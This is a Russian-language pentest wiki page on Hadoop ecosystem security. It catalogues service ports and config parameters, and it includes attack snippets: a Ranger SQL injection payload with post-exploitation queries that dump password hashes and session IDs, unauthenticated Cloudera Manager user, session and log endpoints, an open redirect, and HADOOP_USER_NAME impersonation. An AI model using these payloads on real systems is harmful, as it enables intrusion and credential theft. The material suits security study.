Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.&lt;br /&gt;
&lt;br /&gt;
==== hadoop cli ====&lt;br /&gt;
&lt;br /&gt;
Для получения списка файлов требуется в переменной окружения &amp;quot;HADOOP_USER_NAME&amp;quot; указать нужного пользователя, например, root или hbase:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
export HADOOP_USER_NAME=hbase&lt;br /&gt;
hadoop fs -ls /hbase&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для этого может потребоваться конфиг hadoop (в основной главе)&lt;br /&gt;
&lt;br /&gt;
=== DataNode Data Transfer ===&lt;br /&gt;
&lt;br /&gt;
Сервис для передачи данных в DataNode. Использует порт 50010&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Отправить файл на HDFS&lt;br /&gt;
hadoop fs -put &amp;lt;localfile&amp;gt; &amp;lt;remotedst&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Secondary Node Checkpoint Service (Secondary NameNode WebUI) ===&lt;br /&gt;
&lt;br /&gt;
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).&lt;br /&gt;
&lt;br /&gt;
= YARN =&lt;br /&gt;
&lt;br /&gt;
== Интерфейсы (сервисы) ==&lt;br /&gt;
&lt;br /&gt;
=== Application Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8032 &lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.address&lt;br /&gt;
&lt;br /&gt;
=== Scheduler ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8030&lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.scheduler.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Web Application ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8088, 8090&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8088), https(8090)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Tracker ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8031&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.resource-tracker.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8033&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.admin.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager СontainerManager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 0&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Localizer ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8040&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.localizer.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Collector Service ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8048&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.collector-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8042, 8044&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8042), https(8044)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline RPC ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 10200&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8188, 8190&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8188), https(8190)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8047&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.admin.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8788&lt;br /&gt;
&lt;br /&gt;
Протокол: ???(http)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.webapp.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Node Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8046&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.uploader.server.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Client ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8045&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.sharedcache.client-server.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager AMRMProxyService ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8049&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.amrmproxy.address&lt;br /&gt;
&lt;br /&gt;
=== Router WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8089, 8091&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8089), https(8091)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== HttpFS (Hadoop HDFS over HTTP) ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 14000, 14001&lt;br /&gt;
&lt;br /&gt;
Протокол: http(14000), 14001(https)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
= Apache HBASE =&lt;br /&gt;
&lt;br /&gt;
= ZooKeeper =&lt;br /&gt;
&lt;br /&gt;
= Apache Ambari =&lt;br /&gt;
&lt;br /&gt;
Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Все могут авторизоваться (даже стандартные юзеры)&lt;br /&gt;
&lt;br /&gt;
- Нет защиты (directory listing, no cookie flags, no CSRF)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-1775 - /logs/ логи&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== WebUI ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу http (порт 8080) и https (порт 8440). &lt;br /&gt;
&lt;br /&gt;
=== Registration/Heartbeat ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу https на порту 8441.&lt;br /&gt;
&lt;br /&gt;
=== Agent ===&lt;br /&gt;
&lt;br /&gt;
Порт 8670/tcp используется для Ping.&lt;br /&gt;
&lt;br /&gt;
= Apache Spark =&lt;br /&gt;
&lt;br /&gt;
= Apache Kafka/Storm =&lt;br /&gt;
&lt;br /&gt;
= Apache HIVE / DRILL =&lt;br /&gt;
&lt;br /&gt;
= Mahout =&lt;br /&gt;
&lt;br /&gt;
= Apache Solr / Lucene = &lt;br /&gt;
&lt;br /&gt;
= Apache Ranger =&lt;br /&gt;
&lt;br /&gt;
Компонент безопасности Hadoop с открытым исходным кодом.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Поддержка Kerberos&lt;br /&gt;
&lt;br /&gt;
- REST API&lt;br /&gt;
&lt;br /&gt;
- Журналы аудита&lt;br /&gt;
&lt;br /&gt;
- Модель разрешений на основе политики доступа (политики, юзеры, группы)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Интересные ИБ-проблемы:&lt;br /&gt;
&lt;br /&gt;
- Slow HTTP DOS&lt;br /&gt;
&lt;br /&gt;
- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0265 - XSS в UserAgent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO: изучить как работает&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://ranger.apache.org/apidocs/index.html - API документация&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Admin  WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6080, 6182&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6180),https(6182)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/download/&amp;lt;policy_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-2174 - SQL injection.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/eventTime?eventTime=' or '1'='1&amp;amp;policyId=1&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):&lt;br /&gt;
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать сессии(куки) пользователей):&lt;br /&gt;
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection&lt;br /&gt;
&lt;br /&gt;
===  UNIX Auth Service ===&lt;br /&gt;
&lt;br /&gt;
Порт: 5151&lt;br /&gt;
&lt;br /&gt;
Протокол: SSL/TCP&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.usersync.port&lt;br /&gt;
&lt;br /&gt;
===  Ranger KMS ===&lt;br /&gt;
&lt;br /&gt;
Порт: 9292, 9293&lt;br /&gt;
&lt;br /&gt;
Протокол: http(9292), https(9293)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
=== Solr Audit ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6083, 6183&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6083), https(6183)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger-admin (???)&lt;br /&gt;
&lt;br /&gt;
= OOZIE =&lt;br /&gt;
&lt;br /&gt;
Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Web Console ===&lt;br /&gt;
&lt;br /&gt;
Порт: 11000, 11443&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(11000), HTTPS(11443)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Admin service ==&lt;br /&gt;
&lt;br /&gt;
Порт: 11001&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
= PIG =&lt;br /&gt;
&lt;br /&gt;
= Apache Hue =&lt;br /&gt;
&lt;br /&gt;
Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP. &lt;br /&gt;
&lt;br /&gt;
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.&lt;br /&gt;
&lt;br /&gt;
= MapReduce =&lt;br /&gt;
&lt;br /&gt;
Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory ===&lt;br /&gt;
&lt;br /&gt;
Порт: 10020&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.address&lt;br /&gt;
&lt;br /&gt;
=== JobTracker ===&lt;br /&gt;
&lt;br /&gt;
Порт: 8021&lt;br /&gt;
&lt;br /&gt;
Протокол: IPC&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== JobTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50030&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory WebUI v2 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19888, 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(19888), HTTPS(19890)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
Доступен только в MapReduce v2&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee ===&lt;br /&gt;
&lt;br /&gt;
Порт: 13562&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.shuffle.port&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTPS&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== TaskTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50060&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.task.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== History Server WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 51111&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.history.server.http.address&lt;br /&gt;
&lt;br /&gt;
= Cloudera =&lt;br /&gt;
&lt;br /&gt;
Экосистема Hadoop от компании Cloudera&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== HUE ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 8888 по протоколу HTTP.&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/desktop/api/users/autocomplete&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Open redirect (версия меньше или равна 3.9.0).&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/accounts/login/?next=//[domain_name]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Manager ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 7180(http) и 7183(https).&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Получение списка пользователей (версия меньше или равна 5.5)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users/sessions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/process/&amp;lt;process_id&amp;gt;/logs?filename={stderr,stdout}.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Stored XSS  (версия меньше или равна 5.5)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/cloudera-director/redirect?classicWizard=[XSS]&amp;amp;clusterid=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Hadoop Attack Library ==&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library&lt;br /&gt;
&lt;br /&gt;
=== hadoopsnooper.py ===&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Скрипт для получения конфига hadoop&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== hdfsbrowser.py ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake&lt;br /&gt;
&lt;br /&gt;
Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Видео ==&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
== Презентации ==&lt;br /&gt;
&lt;br /&gt;
https://2015.zeronights.org/assets/files/03-Kaluzny.pdf&lt;br /&gt;
&lt;br /&gt;
https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1193</id>
		<title>Hadoop</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1193"/>
				<updated>2022-09-03T10:49:40Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* JobTracker WebUI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Общее =&lt;br /&gt;
&lt;br /&gt;
== Получение конфига ==&lt;br /&gt;
&lt;br /&gt;
Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.&lt;br /&gt;
&lt;br /&gt;
=== Сервисы ===&lt;br /&gt;
&lt;br /&gt;
==== WebUI ====&lt;br /&gt;
&lt;br /&gt;
Для этого требуется перейти на один из следующих веб серверов на страницу /conf:&lt;br /&gt;
&lt;br /&gt;
* HDFS WebUI (много потов)&lt;br /&gt;
* JobHistory (19888, 19890) - в приоритете&lt;br /&gt;
* ResourceManager (8088, 8090)&lt;br /&gt;
. . .&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости ===&lt;br /&gt;
&lt;br /&gt;
Иногда конфиг можно скачать используя уязвимости ПО. &lt;br /&gt;
&lt;br /&gt;
==== Cloudera Manager ====&lt;br /&gt;
&lt;br /&gt;
Конфиг будет доступен по следующему адресу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
http://&amp;lt;cloudera_mgr_ip&amp;gt;:7180/cmf/services/&amp;lt;service_id_to_iterate&amp;gt;/client-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
service_id_to_iterate - можно получить перебором 0-100(или больше).&lt;br /&gt;
&lt;br /&gt;
=== Автоматически ===&lt;br /&gt;
&lt;br /&gt;
==== HadoopSnooper ====&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать файлы конфига:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Аутентификация ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.&lt;br /&gt;
&lt;br /&gt;
== Шифрование ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию отключено для передачи (in-transit) и хранения (at-rest). &lt;br /&gt;
&lt;br /&gt;
=== NameNode ===&lt;br /&gt;
&lt;br /&gt;
Для общения с NameNode могут быть использованы следующие механизмы аутентификации:&lt;br /&gt;
&lt;br /&gt;
- GSS-API&lt;br /&gt;
&lt;br /&gt;
- Digest-MD5&lt;br /&gt;
&lt;br /&gt;
=== Web Apps ===&lt;br /&gt;
&lt;br /&gt;
Как правило, используется SSL/TLS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== DataNodes ===&lt;br /&gt;
&lt;br /&gt;
Шифрование может быть на 2 уровнях: &lt;br /&gt;
&lt;br /&gt;
1. обмен ключами используя 3DES или RC4&lt;br /&gt;
&lt;br /&gt;
2. Шифрование используя AES 128(default)/192/256.&lt;br /&gt;
&lt;br /&gt;
=== At-rest ===&lt;br /&gt;
&lt;br /&gt;
Означает хранилище файлов. Если кратко:&lt;br /&gt;
&lt;br /&gt;
* Данные шифруются DEK-ключем (Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
* DEK зашифрован ключем EZ (Encryption Zone) -&amp;gt; EDEK (Encrypted Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Обратный процесс:&lt;br /&gt;
&lt;br /&gt;
* EDEK запрашивается у NameNode&lt;br /&gt;
&lt;br /&gt;
* Запрашиваем KMS расшифровать EDEK - получаем DEK&lt;br /&gt;
&lt;br /&gt;
* Расшифровываем или зашифровываем данные с DEK.&lt;br /&gt;
